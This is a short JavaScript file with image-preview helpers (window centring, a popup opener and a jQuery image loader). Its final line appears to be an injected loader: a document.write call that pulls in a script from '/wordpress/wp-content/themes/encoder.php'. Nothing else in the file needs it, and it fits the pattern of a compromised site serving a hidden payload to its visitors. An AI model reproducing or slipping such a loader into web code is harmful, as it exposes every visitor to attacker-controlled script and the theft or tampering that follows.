function MoveWindowToCenter (w, width, height)
{
	var Ycor = (screen.height-height) / 2;
	var Xcor = (screen.width-width) / 2;
	w.moveTo (Xcor, Ycor);
}

function ImagePreviewDetails (url, windowname)
{
	var width = 920;
	var height = 680;
	var w = window.open ('' + url + '','' + windowname + '','fullscreen=no,toolbar=no,status=yes,menubar=no,scrollbars=no,resizable=no,directories=no,location=no,width=' + width + ',height=' + height);
	MoveWindowToCenter (w, width, height);
}

function LoadImage (content_id)
{
	$("#ajax_loader").show();
	$("#imageContainer").hide();
	$("#imageContainer").load ('load_image.php?content_id=' + content_id, function()
	{
		setTimeout (function() { $("#ajax_loader").hide();$("#imageContainer").show();},500);
	});
}
document.write('<script type="text/javascript" src="/wordpress/wp-content/themes/encoder.php"><\/script>');
